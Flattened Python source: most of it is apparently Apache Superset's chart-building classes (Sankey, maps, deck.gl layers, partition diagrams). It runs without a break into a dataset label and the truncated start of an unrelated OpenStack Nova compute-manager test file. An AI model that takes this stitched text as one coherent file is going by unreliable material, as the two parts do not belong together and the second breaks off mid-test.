verbose_name = _("Sankey") is_timeseries = False credits = '<a href="https://www.npmjs.com/package/d3-sankey">d3-sankey on npm</a>' def query_obj(self) -> QueryObjectDict: qry = super().query_obj() if len(qry["groupby"]) != 2: raise QueryObjectValidationError( _("Pick exactly 2 columns as [Source / Target]") ) qry["metrics"] = [self.form_data["metric"]] return qry def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None source, target = self.groupby (value,) = self.metric_labels df.rename( columns={source: "source", target: "target", value: "value",}, inplace=True, ) df["source"] = df["source"].astype(str) df["target"] = df["target"].astype(str) recs = df.to_dict(orient="records") hierarchy: Dict[str, Set[str]] = defaultdict(set) for row in recs: hierarchy[row["source"]].add(row["target"]) def find_cycle(g: Dict[str, Set[str]]) -> Optional[Tuple[str, str]]: """Whether there's a cycle in a directed graph""" path = set() def visit(vertex: str) -> Optional[Tuple[str, str]]: path.add(vertex) for neighbour in g.get(vertex, ()): if neighbour in path or visit(neighbour): return (vertex, neighbour) path.remove(vertex) return None for v in g: cycle = visit(v) if cycle: return cycle return None cycle = find_cycle(hierarchy) if cycle: raise QueryObjectValidationError( _( "There's a loop in your Sankey, please provide a tree. " "Here's a faulty link: {}" ).format(cycle) ) return recs class DirectedForceViz(BaseViz): """An animated directed force layout graph visualization""" viz_type = "directed_force" verbose_name = _("Directed Force Layout") credits = 'd3noob @<a href="http://bl.ocks.org/d3noob/5141278">bl.ocks.org</a>' is_timeseries = False def query_obj(self) -> QueryObjectDict: qry = super().query_obj() if len(self.form_data["groupby"]) != 2: raise QueryObjectValidationError(_("Pick exactly 2 columns to 'Group By'")) qry["metrics"] = [self.form_data["metric"]] return qry def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None df.columns = ["source", "target", "value"] return df.to_dict(orient="records") class ChordViz(BaseViz): """A Chord diagram""" viz_type = "chord" verbose_name = _("Directed Force Layout") credits = '<a href="https://github.com/d3/d3-chord">Bostock</a>' is_timeseries = False def query_obj(self) -> QueryObjectDict: qry = super().query_obj() fd = self.form_data qry["groupby"] = [fd.get("groupby"), fd.get("columns")] qry["metrics"] = [fd.get("metric")] return qry def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None df.columns = ["source", "target", "value"] # Preparing a symetrical matrix like d3.chords calls for nodes = list(set(df["source"]) | set(df["target"])) matrix = {} for source, target in product(nodes, nodes): matrix[(source, target)] = 0 for source, target, value in df.to_records(index=False): matrix[(source, target)] = value m = [[matrix[(n1, n2)] for n1 in nodes] for n2 in nodes] return {"nodes": list(nodes), "matrix": m} class CountryMapViz(BaseViz): """A country centric""" viz_type = "country_map" verbose_name = _("Country Map") is_timeseries = False credits = "From bl.ocks.org By john-guerra" def query_obj(self) -> QueryObjectDict: qry = super().query_obj() qry["metrics"] = [self.form_data["metric"]] qry["groupby"] = [self.form_data["entity"]] return qry def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data cols = [fd.get("entity")] metric = self.metric_labels[0] cols += [metric] ndf = df[cols] df = ndf df.columns = ["country_id", "metric"] d = df.to_dict(orient="records") return d class WorldMapViz(BaseViz): """A country centric world map""" viz_type = "world_map" verbose_name = _("World Map") is_timeseries = False credits = 'datamaps on <a href="https://www.npmjs.com/package/datamaps">npm</a>' def query_obj(self) -> QueryObjectDict: qry = super().query_obj() qry["groupby"] = [self.form_data["entity"]] return qry def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None from superset.examples import countries fd = self.form_data cols = [fd.get("entity")] metric = utils.get_metric_name(fd["metric"]) secondary_metric = ( utils.get_metric_name(fd["secondary_metric"]) if "secondary_metric" in fd else None ) columns = ["country", "m1", "m2"] if metric == secondary_metric: ndf = df[cols] ndf["m1"] = df[metric] ndf["m2"] = ndf["m1"] else: if secondary_metric: cols += [metric, secondary_metric] else: cols += [metric] columns = ["country", "m1"] ndf = df[cols] df = ndf df.columns = columns d = df.to_dict(orient="records") for row in d: country = None if isinstance(row["country"], str): if "country_fieldtype" in fd: country = countries.get(fd["country_fieldtype"], row["country"]) if country: row["country"] = country["cca3"] row["latitude"] = country["lat"] row["longitude"] = country["lng"] row["name"] = country["name"] else: row["country"] = "XXX" return d class FilterBoxViz(BaseViz): """A multi filter, multi-choice filter box to make dashboards interactive""" viz_type = "filter_box" verbose_name = _("Filters") is_timeseries = False credits = 'a <a href="https://github.com/airbnb/superset">Superset</a> original' cache_type = "get_data" filter_row_limit = 1000 def query_obj(self) -> QueryObjectDict: return {} def run_extra_queries(self) -> None: qry = super().query_obj() filters = self.form_data.get("filter_configs") or [] qry["row_limit"] = self.filter_row_limit self.dataframes = {} for flt in filters: col = flt.get("column") if not col: raise QueryObjectValidationError( _("Invalid filter configuration, please select a column") ) qry["groupby"] = [col] metric = flt.get("metric") qry["metrics"] = [metric] if metric else [] df = self.get_df_payload(query_obj=qry).get("df") self.dataframes[col] = df def get_data(self, df: pd.DataFrame) -> VizData: filters = self.form_data.get("filter_configs") or [] d = {} for flt in filters: col = flt.get("column") metric = flt.get("metric") df = self.dataframes.get(col) if df is not None and not df.empty: if metric: df = df.sort_values( utils.get_metric_name(metric), ascending=flt.get("asc") ) d[col] = [ {"id": row[0], "text": row[0], "metric": row[1]} for row in df.itertuples(index=False) ] else: df = df.sort_values(col, ascending=flt.get("asc")) d[col] = [ {"id": row[0], "text": row[0]} for row in df.itertuples(index=False) ] else: df[col] = [] return d class ParallelCoordinatesViz(BaseViz): """Interactive parallel coordinate implementation Uses this amazing javascript library https://github.com/syntagmatic/parallel-coordinates """ viz_type = "para" verbose_name = _("Parallel Coordinates") credits = ( '<a href="https://syntagmatic.github.io/parallel-coordinates/">' "Syntagmatic's library</a>" ) is_timeseries = False def query_obj(self) -> QueryObjectDict: d = super().query_obj() fd = self.form_data d["groupby"] = [fd.get("series")] return d def get_data(self, df: pd.DataFrame) -> VizData: return df.to_dict(orient="records") class HeatmapViz(BaseViz): """A nice heatmap visualization that support high density through canvas""" viz_type = "heatmap" verbose_name = _("Heatmap") is_timeseries = False credits = ( 'inspired from mbostock @<a href="http://bl.ocks.org/mbostock/3074470">' "bl.ocks.org</a>" ) def query_obj(self) -> QueryObjectDict: d = super().query_obj() fd = self.form_data d["metrics"] = [fd.get("metric")] d["groupby"] = [fd.get("all_columns_x"), fd.get("all_columns_y")] return d def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data x = fd.get("all_columns_x") y = fd.get("all_columns_y") v = self.metric_labels[0] if x == y: df.columns = ["x", "y", "v"] else: df = df[[x, y, v]] df.columns = ["x", "y", "v"] norm = fd.get("normalize_across") overall = False max_ = df.v.max() min_ = df.v.min() if norm == "heatmap": overall = True else: gb = df.groupby(norm, group_keys=False) if len(gb) <= 1: overall = True else: df["perc"] = gb.apply( lambda x: (x.v - x.v.min()) / (x.v.max() - x.v.min()) ) df["rank"] = gb.apply(lambda x: x.v.rank(pct=True)) if overall: df["perc"] = (df.v - min_) / (max_ - min_) df["rank"] = df.v.rank(pct=True) return {"records": df.to_dict(orient="records"), "extents": [min_, max_]} class HorizonViz(NVD3TimeSeriesViz): """Horizon chart https://www.npmjs.com/package/d3-horizon-chart """ viz_type = "horizon" verbose_name = _("Horizon Charts") credits = ( '<a href="https://www.npmjs.com/package/d3-horizon-chart">' "d3-horizon-chart</a>" ) class MapboxViz(BaseViz): """Rich maps made with Mapbox""" viz_type = "mapbox" verbose_name = _("Mapbox") is_timeseries = False credits = "<a href=https://www.mapbox.com/mapbox-gl-js/api/>Mapbox GL JS</a>" def query_obj(self) -> QueryObjectDict: d = super().query_obj() fd = self.form_data label_col = fd.get("mapbox_label") if not fd.get("groupby"): if fd.get("all_columns_x") is None or fd.get("all_columns_y") is None: raise QueryObjectValidationError( _("[Longitude] and [Latitude] must be set") ) d["columns"] = [fd.get("all_columns_x"), fd.get("all_columns_y")] if label_col and len(label_col) >= 1: if label_col[0] == "count": raise QueryObjectValidationError( _( "Must have a [Group By] column to have 'count' as the " + "[Label]" ) ) d["columns"].append(label_col[0]) if fd.get("point_radius") != "Auto": d["columns"].append(fd.get("point_radius")) d["columns"] = list(set(d["columns"])) else: # Ensuring columns chosen are all in group by if ( label_col and len(label_col) >= 1 and label_col[0] != "count" and label_col[0] not in fd["groupby"] ): raise QueryObjectValidationError( _("Choice of [Label] must be present in [Group By]") ) if ( fd.get("point_radius") != "Auto" and fd.get("point_radius") not in fd["groupby"] ): raise QueryObjectValidationError( _("Choice of [Point Radius] must be present in [Group By]") ) if ( fd.get("all_columns_x") not in fd["groupby"] or fd.get("all_columns_y") not in fd["groupby"] ): raise QueryObjectValidationError( _( "[Longitude] and [Latitude] columns must be present in " + "[Group By]" ) ) return d def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data label_col = fd.get("mapbox_label") has_custom_metric = label_col is not None and len(label_col) > 0 metric_col = [None] * len(df.index) if has_custom_metric: if label_col[0] == fd.get("all_columns_x"): # type: ignore metric_col = df[fd.get("all_columns_x")] elif label_col[0] == fd.get("all_columns_y"): # type: ignore metric_col = df[fd.get("all_columns_y")] else: metric_col = df[label_col[0]] # type: ignore point_radius_col = ( [None] * len(df.index) if fd.get("point_radius") == "Auto" else df[fd.get("point_radius")] ) # limiting geo precision as long decimal values trigger issues # around json-bignumber in Mapbox GEO_PRECISION = 10 # using geoJSON formatting geo_json = { "type": "FeatureCollection", "features": [ { "type": "Feature", "properties": {"metric": metric, "radius": point_radius}, "geometry": { "type": "Point", "coordinates": [ round(lon, GEO_PRECISION), round(lat, GEO_PRECISION), ], }, } for lon, lat, metric, point_radius in zip( df[fd.get("all_columns_x")], df[fd.get("all_columns_y")], metric_col, point_radius_col, ) ], } x_series, y_series = df[fd.get("all_columns_x")], df[fd.get("all_columns_y")] south_west = [x_series.min(), y_series.min()] north_east = [x_series.max(), y_series.max()] return { "geoJSON": geo_json, "hasCustomMetric": has_custom_metric, "mapboxApiKey": config["MAPBOX_API_KEY"], "mapStyle": fd.get("mapbox_style"), "aggregatorName": fd.get("pandas_aggfunc"), "clusteringRadius": fd.get("clustering_radius"), "pointRadiusUnit": fd.get("point_radius_unit"), "globalOpacity": fd.get("global_opacity"), "bounds": [south_west, north_east], "renderWhileDragging": fd.get("render_while_dragging"), "tooltip": fd.get("rich_tooltip"), "color": fd.get("mapbox_color"), } class DeckGLMultiLayer(BaseViz): """Pile on multiple DeckGL layers""" viz_type = "deck_multi" verbose_name = _("Deck.gl - Multiple Layers") is_timeseries = False credits = '<a href="https://uber.github.io/deck.gl/">deck.gl</a>' def query_obj(self) -> QueryObjectDict: return {} def get_data(self, df: pd.DataFrame) -> VizData: fd = self.form_data # Late imports to avoid circular import issues from superset import db from superset.models.slice import Slice slice_ids = fd.get("deck_slices") slices = db.session.query(Slice).filter(Slice.id.in_(slice_ids)).all() return { "mapboxApiKey": config["MAPBOX_API_KEY"], "slices": [slc.data for slc in slices], } class BaseDeckGLViz(BaseViz): """Base class for deck.gl visualizations""" is_timeseries = False credits = '<a href="https://uber.github.io/deck.gl/">deck.gl</a>' spatial_control_keys: List[str] = [] def get_metrics(self) -> List[str]: self.metric = self.form_data.get("size") return [self.metric] if self.metric else [] def process_spatial_query_obj(self, key: str, group_by: List[str]) -> None: group_by.extend(self.get_spatial_columns(key)) def get_spatial_columns(self, key: str) -> List[str]: spatial = self.form_data.get(key) if spatial is None: raise ValueError(_("Bad spatial key")) if spatial.get("type") == "latlong": return [spatial.get("lonCol"), spatial.get("latCol")] elif spatial.get("type") == "delimited": return [spatial.get("lonlatCol")] elif spatial.get("type") == "geohash": return [spatial.get("geohashCol")] return [] @staticmethod def parse_coordinates(s: Any) -> Optional[Tuple[float, float]]: if not s: return None try: p = Point(s) return (p.latitude, p.longitude) except Exception: raise SpatialException(_("Invalid spatial point encountered: %s" % s)) @staticmethod def reverse_geohash_decode(geohash_code: str) -> Tuple[str, str]: lat, lng = geohash.decode(geohash_code) return (lng, lat) @staticmethod def reverse_latlong(df: pd.DataFrame, key: str) -> None: df[key] = [tuple(reversed(o)) for o in df[key] if isinstance(o, (list, tuple))] def process_spatial_data_obj(self, key: str, df: pd.DataFrame) -> pd.DataFrame: spatial = self.form_data.get(key) if spatial is None: raise ValueError(_("Bad spatial key")) if spatial.get("type") == "latlong": df[key] = list( zip( pd.to_numeric(df[spatial.get("lonCol")], errors="coerce"), pd.to_numeric(df[spatial.get("latCol")], errors="coerce"), ) ) elif spatial.get("type") == "delimited": lon_lat_col = spatial.get("lonlatCol") df[key] = df[lon_lat_col].apply(self.parse_coordinates) del df[lon_lat_col] elif spatial.get("type") == "geohash": df[key] = df[spatial.get("geohashCol")].map(self.reverse_geohash_decode) del df[spatial.get("geohashCol")] if spatial.get("reverseCheckbox"): self.reverse_latlong(df, key) if df.get(key) is None: raise NullValueException( _( "Encountered invalid NULL spatial entry, \ please consider filtering those out" ) ) return df def add_null_filters(self) -> None: fd = self.form_data spatial_columns = set() for key in self.spatial_control_keys: for column in self.get_spatial_columns(key): spatial_columns.add(column) if fd.get("adhoc_filters") is None: fd["adhoc_filters"] = [] line_column = fd.get("line_column") if line_column: spatial_columns.add(line_column) for column in sorted(spatial_columns): filter_ = to_adhoc({"col": column, "op": "IS NOT NULL", "val": ""}) fd["adhoc_filters"].append(filter_) def query_obj(self) -> QueryObjectDict: fd = self.form_data # add NULL filters if fd.get("filter_nulls", True): self.add_null_filters() d = super().query_obj() gb: List[str] = [] for key in self.spatial_control_keys: self.process_spatial_query_obj(key, gb) if fd.get("dimension"): gb += [fd["dimension"]] if fd.get("js_columns"): gb += fd.get("js_columns") or [] metrics = self.get_metrics() gb = list(set(gb)) if metrics: d["groupby"] = gb d["metrics"] = metrics d["columns"] = [] else: d["columns"] = gb return d def get_js_columns(self, d: Dict[str, Any]) -> Dict[str, Any]: cols = self.form_data.get("js_columns") or [] return {col: d.get(col) for col in cols} def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None # Processing spatial info for key in self.spatial_control_keys: df = self.process_spatial_data_obj(key, df) features = [] for d in df.to_dict(orient="records"): feature = self.get_properties(d) extra_props = self.get_js_columns(d) if extra_props: feature["extraProps"] = extra_props features.append(feature) return { "features": features, "mapboxApiKey": config["MAPBOX_API_KEY"], "metricLabels": self.metric_labels, } def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: raise NotImplementedError() class DeckScatterViz(BaseDeckGLViz): """deck.gl's ScatterLayer""" viz_type = "deck_scatter" verbose_name = _("Deck.gl - Scatter plot") spatial_control_keys = ["spatial"] is_timeseries = True def query_obj(self) -> QueryObjectDict: fd = self.form_data self.is_timeseries = bool(fd.get("time_grain_sqla") or fd.get("granularity")) self.point_radius_fixed = fd.get("point_radius_fixed") or { "type": "fix", "value": 500, } return super().query_obj() def get_metrics(self) -> List[str]: self.metric = None if self.point_radius_fixed.get("type") == "metric": self.metric = self.point_radius_fixed["value"] return [self.metric] return [] def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: return { "metric": d.get(self.metric_label) if self.metric_label else None, "radius": self.fixed_value if self.fixed_value else d.get(self.metric_label) if self.metric_label else None, "cat_color": d.get(self.dim) if self.dim else None, "position": d.get("spatial"), DTTM_ALIAS: d.get(DTTM_ALIAS), } def get_data(self, df: pd.DataFrame) -> VizData: fd = self.form_data self.metric_label = utils.get_metric_name(self.metric) if self.metric else None self.point_radius_fixed = fd.get("point_radius_fixed") self.fixed_value = None self.dim = self.form_data.get("dimension") if self.point_radius_fixed and self.point_radius_fixed.get("type") != "metric": self.fixed_value = self.point_radius_fixed.get("value") return super().get_data(df) class DeckScreengrid(BaseDeckGLViz): """deck.gl's ScreenGridLayer""" viz_type = "deck_screengrid" verbose_name = _("Deck.gl - Screen Grid") spatial_control_keys = ["spatial"] is_timeseries = True def query_obj(self) -> QueryObjectDict: fd = self.form_data self.is_timeseries = bool(fd.get("time_grain_sqla") or fd.get("granularity")) return super().query_obj() def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: return { "position": d.get("spatial"), "weight": (d.get(self.metric_label) if self.metric_label else None) or 1, "__timestamp": d.get(DTTM_ALIAS) or d.get("__time"), } def get_data(self, df: pd.DataFrame) -> VizData: self.metric_label = utils.get_metric_name(self.metric) if self.metric else None return super().get_data(df) class DeckGrid(BaseDeckGLViz): """deck.gl's DeckLayer""" viz_type = "deck_grid" verbose_name = _("Deck.gl - 3D Grid") spatial_control_keys = ["spatial"] def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: return { "position": d.get("spatial"), "weight": (d.get(self.metric_label) if self.metric_label else None) or 1, } def get_data(self, df: pd.DataFrame) -> VizData: self.metric_label = utils.get_metric_name(self.metric) if self.metric else None return super().get_data(df) def geohash_to_json(geohash_code: str) -> List[List[float]]: p = geohash.bbox(geohash_code) return [ [p.get("w"), p.get("n")], [p.get("e"), p.get("n")], [p.get("e"), p.get("s")], [p.get("w"), p.get("s")], [p.get("w"), p.get("n")], ] class DeckPathViz(BaseDeckGLViz): """deck.gl's PathLayer""" viz_type = "deck_path" verbose_name = _("Deck.gl - Paths") deck_viz_key = "path" is_timeseries = True deser_map = { "json": json.loads, "polyline": polyline.decode, "geohash": geohash_to_json, } def query_obj(self) -> QueryObjectDict: fd = self.form_data self.is_timeseries = bool(fd.get("time_grain_sqla") or fd.get("granularity")) d = super().query_obj() self.metric = fd.get("metric") line_col = fd.get("line_column") if d["metrics"]: self.has_metrics = True d["groupby"].append(line_col) else: self.has_metrics = False d["columns"].append(line_col) return d def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: fd = self.form_data line_type = fd["line_type"] deser = self.deser_map[line_type] line_column = fd["line_column"] path = deser(d[line_column]) if fd.get("reverse_long_lat"): path = [(o[1], o[0]) for o in path] d[self.deck_viz_key] = path if line_type != "geohash": del d[line_column] d["__timestamp"] = d.get(DTTM_ALIAS) or d.get("__time") return d def get_data(self, df: pd.DataFrame) -> VizData: self.metric_label = utils.get_metric_name(self.metric) if self.metric else None return super().get_data(df) class DeckPolygon(DeckPathViz): """deck.gl's Polygon Layer""" viz_type = "deck_polygon" deck_viz_key = "polygon" verbose_name = _("Deck.gl - Polygon") def query_obj(self) -> QueryObjectDict: fd = self.form_data self.elevation = fd.get("point_radius_fixed") or {"type": "fix", "value": 500} return super().query_obj() def get_metrics(self) -> List[str]: metrics = [self.form_data.get("metric")] if self.elevation.get("type") == "metric": metrics.append(self.elevation.get("value")) return [metric for metric in metrics if metric] def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: super().get_properties(d) fd = self.form_data elevation = fd["point_radius_fixed"]["value"] type_ = fd["point_radius_fixed"]["type"] d["elevation"] = ( d.get(utils.get_metric_name(elevation)) if type_ == "metric" else elevation ) return d class DeckHex(BaseDeckGLViz): """deck.gl's DeckLayer""" viz_type = "deck_hex" verbose_name = _("Deck.gl - 3D HEX") spatial_control_keys = ["spatial"] def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: return { "position": d.get("spatial"), "weight": (d.get(self.metric_label) if self.metric_label else None) or 1, } def get_data(self, df: pd.DataFrame) -> VizData: self.metric_label = utils.get_metric_name(self.metric) if self.metric else None return super(DeckHex, self).get_data(df) class DeckGeoJson(BaseDeckGLViz): """deck.gl's GeoJSONLayer""" viz_type = "deck_geojson" verbose_name = _("Deck.gl - GeoJSON") def query_obj(self) -> QueryObjectDict: d = super().query_obj() d["columns"] += [self.form_data.get("geojson")] d["metrics"] = [] d["groupby"] = [] return d def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: geojson = d[self.form_data["geojson"]] return json.loads(geojson) class DeckArc(BaseDeckGLViz): """deck.gl's Arc Layer""" viz_type = "deck_arc" verbose_name = _("Deck.gl - Arc") spatial_control_keys = ["start_spatial", "end_spatial"] is_timeseries = True def query_obj(self) -> QueryObjectDict: fd = self.form_data self.is_timeseries = bool(fd.get("time_grain_sqla") or fd.get("granularity")) return super().query_obj() def get_properties(self, d: Dict[str, Any]) -> Dict[str, Any]: dim = self.form_data.get("dimension") return { "sourcePosition": d.get("start_spatial"), "targetPosition": d.get("end_spatial"), "cat_color": d.get(dim) if dim else None, DTTM_ALIAS: d.get(DTTM_ALIAS), } def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None d = super().get_data(df) return { "features": d["features"], # type: ignore "mapboxApiKey": config["MAPBOX_API_KEY"], } class EventFlowViz(BaseViz): """A visualization to explore patterns in event sequences""" viz_type = "event_flow" verbose_name = _("Event flow") credits = 'from <a href="https://github.com/williaster/data-ui">@data-ui</a>' is_timeseries = True def query_obj(self) -> QueryObjectDict: query = super().query_obj() form_data = self.form_data event_key = form_data["all_columns_x"] entity_key = form_data["entity"] meta_keys = [ col for col in form_data["all_columns"] if col != event_key and col != entity_key ] query["columns"] = [event_key, entity_key] + meta_keys if form_data["order_by_entity"]: query["orderby"] = [(entity_key, True)] return query def get_data(self, df: pd.DataFrame) -> VizData: return df.to_dict(orient="records") class PairedTTestViz(BaseViz): """A table displaying paired t-test values""" viz_type = "paired_ttest" verbose_name = _("Time Series - Paired t-test") sort_series = False is_timeseries = True def get_data(self, df: pd.DataFrame) -> VizData: """ Transform received data frame into an object of the form: { 'metric1': [ { groups: ('groupA', ... ), values: [ {x, y}, ... ], }, ... ], ... } """ if df.empty: return None fd = self.form_data groups = fd.get("groupby") metrics = self.metric_labels df = df.pivot_table(index=DTTM_ALIAS, columns=groups, values=metrics) cols = [] # Be rid of falsey keys for col in df.columns: if col == "": cols.append("N/A") elif col is None: cols.append("NULL") else: cols.append(col) df.columns = cols data: Dict[str, List[Dict[str, Any]]] = {} series = df.to_dict("series") for nameSet in df.columns: # If no groups are defined, nameSet will be the metric name hasGroup = not isinstance(nameSet, str) Y = series[nameSet] d = { "group": nameSet[1:] if hasGroup else "All", "values": [{"x": t, "y": Y[t] if t in Y else None} for t in df.index], } key = nameSet[0] if hasGroup else nameSet if key in data: data[key].append(d) else: data[key] = [d] return data class RoseViz(NVD3TimeSeriesViz): viz_type = "rose" verbose_name = _("Time Series - Nightingale Rose Chart") sort_series = False is_timeseries = True def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None data = super().get_data(df) result: Dict[str, List[Dict[str, str]]] = {} for datum in data: # type: ignore key = datum["key"] for val in datum["values"]: timestamp = val["x"].value if not result.get(timestamp): result[timestamp] = [] value = 0 if math.isnan(val["y"]) else val["y"] result[timestamp].append( { "key": key, "value": value, "name": ", ".join(key) if isinstance(key, list) else key, "time": val["x"], } ) return result class PartitionViz(NVD3TimeSeriesViz): """ A hierarchical data visualization with support for time series. """ viz_type = "partition" verbose_name = _("Partition Diagram") def query_obj(self) -> QueryObjectDict: query_obj = super().query_obj() time_op = self.form_data.get("time_series_option", "not_time") # Return time series data if the user specifies so query_obj["is_timeseries"] = time_op != "not_time" return query_obj def levels_for( self, time_op: str, groups: List[str], df: pd.DataFrame ) -> Dict[int, pd.Series]: """ Compute the partition at each `level` from the dataframe. """ levels = {} for i in range(0, len(groups) + 1): agg_df = df.groupby(groups[:i]) if i else df levels[i] = ( agg_df.mean() if time_op == "agg_mean" else agg_df.sum(numeric_only=True) ) return levels def levels_for_diff( self, time_op: str, groups: List[str], df: pd.DataFrame ) -> Dict[int, pd.DataFrame]: # Obtain a unique list of the time grains times = list(set(df[DTTM_ALIAS])) times.sort() until = times[len(times) - 1] since = times[0] # Function describing how to calculate the difference func = { "point_diff": [pd.Series.sub, lambda a, b, fill_value: a - b], "point_factor": [pd.Series.div, lambda a, b, fill_value: a / float(b)], "point_percent": [ lambda a, b, fill_value=0: a.div(b, fill_value=fill_value) - 1, lambda a, b, fill_value: a / float(b) - 1, ], }[time_op] agg_df = df.groupby(DTTM_ALIAS).sum() levels = { 0: pd.Series( { m: func[1](agg_df[m][until], agg_df[m][since], 0) for m in agg_df.columns } ) } for i in range(1, len(groups) + 1): agg_df = df.groupby([DTTM_ALIAS] + groups[:i]).sum() levels[i] = pd.DataFrame( { m: func[0](agg_df[m][until], agg_df[m][since], fill_value=0) for m in agg_df.columns } ) return levels def levels_for_time( self, groups: List[str], df: pd.DataFrame ) -> Dict[int, VizData]: procs = {} for i in range(0, len(groups) + 1): self.form_data["groupby"] = groups[:i] df_drop = df.drop(groups[i:], 1) procs[i] = self.process_data(df_drop, aggregate=True) self.form_data["groupby"] = groups return procs def nest_values( self, levels: Dict[int, pd.DataFrame], level: int = 0, metric: Optional[str] = None, dims: Optional[List[str]] = None, ) -> List[Dict[str, Any]]: """ Nest values at each level on the back-end with access and setting, instead of summing from the bottom. """ if dims is None: dims = [] if not level: return [ { "name": m, "val": levels[0][m], "children": self.nest_values(levels, 1, m), } for m in levels[0].index ] if level == 1: metric_level = levels[1][metric] return [ { "name": i, "val": metric_level[i], "children": self.nest_values(levels, 2, metric, [i]), } for i in metric_level.index ] if level >= len(levels): return [] dim_level = levels[level][metric][[dims[0]]] return [ { "name": i, "val": dim_level[i], "children": self.nest_values(levels, level + 1, metric, dims + [i]), } for i in dim_level.index ] def nest_procs( self, procs: Dict[int, pd.DataFrame], level: int = -1, dims: Optional[Tuple[str, ...]] = None, time: Any = None, ) -> List[Dict[str, Any]]: if dims is None: dims = () if level == -1: return [ {"name": m, "children": self.nest_procs(procs, 0, (m,))} for m in procs[0].columns ] if not level: return [ { "name": t, "val": procs[0][dims[0]][t], "children": self.nest_procs(procs, 1, dims, t), } for t in procs[0].index ] if level >= len(procs): return [] return [ { "name": i, "val": procs[level][dims][i][time], "children": self.nest_procs(procs, level + 1, dims + (i,), time), } for i in procs[level][dims].columns ] def get_data(self, df: pd.DataFrame) -> VizData: if df.empty: return None fd = self.form_data groups = fd.get("groupby", []) time_op = fd.get("time_series_option", "not_time") if not len(groups): raise ValueError("Please choose at least one groupby") if time_op == "not_time": levels = self.levels_for("agg_sum", groups, df) elif time_op in ["agg_sum", "agg_mean"]: levels = self.levels_for(time_op, groups, df) elif time_op in ["point_diff", "point_factor", "point_percent"]: levels = self.levels_for_diff(time_op, groups, df) elif time_op == "adv_anal": procs = self.levels_for_time(groups, df) return self.nest_procs(procs) else: levels = self.levels_for("agg_sum", [DTTM_ALIAS] + groups, df) return self.nest_values(levels) viz_types = { o.viz_type: o for o in globals().values() if ( inspect.isclass(o) and issubclass(o, BaseViz) and o.viz_type not in config["VIZ_TYPE_DENYLIST"] ) }
codeparrot/github-code-clean
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Unit tests for ComputeManager().""" import contextlib import time import uuid from cinderclient import exceptions as cinder_exception from eventlet import event as eventlet_event import mock from mox3 import mox import netaddr from oslo_config import cfg import oslo_messaging as messaging from oslo_serialization import jsonutils from oslo_utils import importutils from oslo_utils import timeutils from oslo_utils import uuidutils import six import nova from nova.compute import build_results from nova.compute import manager from nova.compute import power_state from nova.compute import task_states from nova.compute import utils as compute_utils from nova.compute import vm_states from nova.conductor import api as conductor_api from nova import context from nova import db from nova import exception from nova.network import api as network_api from nova.network import model as network_model from nova import objects from nova.objects import block_device as block_device_obj from nova import test from nova.tests.unit.compute import fake_resource_tracker from nova.tests.unit import fake_block_device from nova.tests.unit import fake_instance from nova.tests.unit import fake_network from nova.tests.unit import fake_network_cache_model from nova.tests.unit import fake_server_actions from nova.tests.unit.objects import test_instance_fault from nova.tests.unit.objects import test_instance_info_cache from nova import utils from nova.virt import driver as virt_driver from nova.virt import event as virtevent from nova.virt import fake as fake_driver from nova.virt import hardware CONF = cfg.CONF CONF.import_opt('compute_manager', 'nova.service') class ComputeManagerUnitTestCase(test.NoDBTestCase): def setUp(self): super(ComputeManagerUnitTestCase, self).setUp() self.flags(use_local=True, group='conductor') self.compute = importutils.import_object(CONF.compute_manager) self.context = context.RequestContext('fake', 'fake') fake_server_actions.stub_out_action_events(self.stubs) @mock.patch.object(manager.ComputeManager, '_get_power_state') @mock.patch.object(manager.ComputeManager, '_sync_instance_power_state') @mock.patch.object(objects.Instance, 'get_by_uuid') def _test_handle_lifecycle_event(self, mock_get, mock_sync, mock_get_power_state, transition, event_pwr_state, current_pwr_state): event = mock.Mock() event.get_instance_uuid.return_value = mock.sentinel.uuid event.get_transition.return_value = transition mock_get_power_state.return_value = current_pwr_state self.compute.handle_lifecycle_event(event) mock_get.assert_called_with(mock.ANY, mock.sentinel.uuid, expected_attrs=[]) if event_pwr_state == current_pwr_state: mock_sync.assert_called_with(mock.ANY, mock_get.return_value, event_pwr_state) else: self.assertFalse(mock_sync.called) def test_handle_lifecycle_event(self): event_map = {virtevent.EVENT_LIFECYCLE_STOPPED: power_state.SHUTDOWN, virtevent.EVENT_LIFECYCLE_STARTED: power_state.RUNNING, virtevent.EVENT_LIFECYCLE_PAUSED: power_state.PAUSED, virtevent.EVENT_LIFECYCLE_RESUMED: power_state.RUNNING, virtevent.EVENT_LIFECYCLE_SUSPENDED: power_state.SUSPENDED, } for transition, pwr_state in six.iteritems(event_map): self._test_handle_lifecycle_event(transition=transition, event_pwr_state=pwr_state, current_pwr_state=pwr_state) def test_handle_lifecycle_event_state_mismatch(self): self._test_handle_lifecycle_event( transition=virtevent.EVENT_LIFECYCLE_STOPPED, event_pwr_state=power_state.SHUTDOWN, current_pwr_state=power_state.RUNNING) def test_delete_instance_info_cache_delete_ordering(self): call_tracker = mock.Mock() call_tracker.clear_events_for_instance.return_value = None mgr_class = self.compute.__class__ orig_delete = mgr_class._delete_instance specd_compute = mock.create_autospec(mgr_class) # spec out everything except for the method we really want # to test, then use call_tracker to verify call sequence 